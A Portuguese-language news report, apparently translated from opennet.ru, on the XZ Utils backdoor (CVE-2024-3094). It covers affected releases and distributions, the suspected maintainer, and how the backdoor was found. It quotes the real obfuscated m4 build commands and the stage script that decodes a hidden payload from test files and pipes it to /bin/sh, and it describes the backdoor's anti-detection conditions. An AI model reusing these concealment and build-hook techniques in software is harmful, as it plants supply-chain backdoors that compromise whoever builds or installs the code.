No pacote XZ Utils, que inclui a biblioteca liblzma e utilitários para trabalhar com dados compactados no formato '.xz', foi identificada uma porta dos fundos (CVE-2024-3094) que permite interceptar e modificar os dados processados por aplicativos conectados à biblioteca liblzma. O principal alvo da porta dos fundos é o servidor OpenSSH, que em algumas distribuições está associado à biblioteca libsystemd, que por sua vez utiliza a liblzma. A ligação do sshd à biblioteca vulnerável permite que invasores acessem o servidor SSH sem autenticação.
A porta dos fundos esteve presente nas versões oficiais 5.6.0 e 5.6.1, lançadas em 24 de fevereiro e 9 de março, que conseguiram ser integradas em algumas distribuições e repositórios, como Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide e 40-beta, openSUSE factory e tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Todos os usuários das versões xz 5.6.0 e 5.6.1 são aconselhados a reverter urgentemente para a versão 5.4.6.
Como fatores atenuantes do problema, pode-se destacar que a versão da liblzma com a porta dos fundos não conseguiu entrar nas versões estáveis de grandes distribuições, mas afetou o openSUSE Tumbleweed e o Fedora 40-beta. O Arch Linux e o Gentoo utilizavam a versão vulnerável do xz, mas não são suscetíveis ao ataque, pois não aplicam no openssh o patch para suporte ao systemd-notify, que resulta na ligação do sshd à liblzma. A porta dos fundos afeta apenas sistemas x86_64 baseados no kernel Linux e na biblioteca C Glibc.
O código de ativação da porta dos fundos foi ocultado em macros m4 do arquivo build-to-host.m4, utilizado pelo automake durante a construção. Durante a compilação, operações ofuscadas complicadas baseadas em arquivos compactados (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) eram executadas para testar a funcionalidade e geravam um arquivo objeto com código malicioso, que era incluído na biblioteca liblzma e alterava a lógica de algumas de suas funções. As macros m4 que ativam a porta dos fundos estavam incluídas nos arquivos tar das versões, mas estavam ausentes do repositório Git. No entanto, os arquivos de teste maliciosos estavam presentes no repositório, ou seja, quem injetou a porta dos fundos tinha acesso tanto ao repositório quanto aos processos de formação das versões.
Ao usar liblzma em aplicativos, alterações maliciosas poderiam ser usadas para interceptar ou modificar dados, além de influenciar o funcionamento do sshd. Em particular, o código malicioso substituía a função RSA_public_decrypt para contornar o processo de autenticação no sshd. O backdoor incluía proteção contra detecção e não se manifestava quando as variáveis de ambiente LANG e TERM estavam definidas (ou seja, ao executar o processo em um terminal) e as variáveis de ambiente LD_DEBUG e LD_PROFILE não estavam definidas, além de ser ativado apenas ao executar o arquivo executável /usr/sbin/sshd. O backdoor também possuía meios de detectar se estava sendo executado em ambientes de depuração.
Em particular, no arquivo m4/build-to-host.m4 foram utilizadas construções gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’
Na primeira construção, a operação grep encontrava o arquivo tests/files/bad-3-corrupt_lzma2.xz, cujo descompactamento gerava o seguinte script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
De que forma os invasores conseguiram acessar a infraestrutura do projeto xz ainda não está claro. Também não se sabe quantos usuários e projetos foram comprometidos como resultado da ação do backdoor. O autor presumido do backdoor (JiaT75 — Jia Tan), que colocou arquivos com código malicioso no repositório, trocou mensagens com desenvolvedores do Fedora e enviou pull requests para o Debian relacionados à transição das distribuições para a versão xz 5.6.0, sem levantar suspeitas, pois participou do desenvolvimento do xz nos últimos dois anos e é o segundo desenvolvedor em número de alterações feitas. Além do projeto xz, o autor presumido do backdoor também participou do desenvolvimento dos pacotes xz-java e xz-embedded. Além disso, Jia Tan foi incluído há alguns dias no grupo de mantenedores do projeto XZ Embedded, utilizado no núcleo do Linux.
A alteração maliciosa foi identificada após a análise do consumo excessivo de CPU e dos erros emitidos pelo valgrind ao se conectar via ssh a sistemas baseados no Debian sid. É notável que a versão xz 5.6.1 incluiu alterações preparadas pelo autor presumido do backdoor em resposta a reclamações sobre lentidão e falhas no sshd, ocorridas após a atualização para a versão zx 5.6.0 com o backdoor. Além disso, no ano passado, Jia Tan fez alterações incompatíveis com o modo de verificação “-fsanitize=address”, o que levou à sua desativação durante os testes de fuzzing.
Fonte: opennet.ru
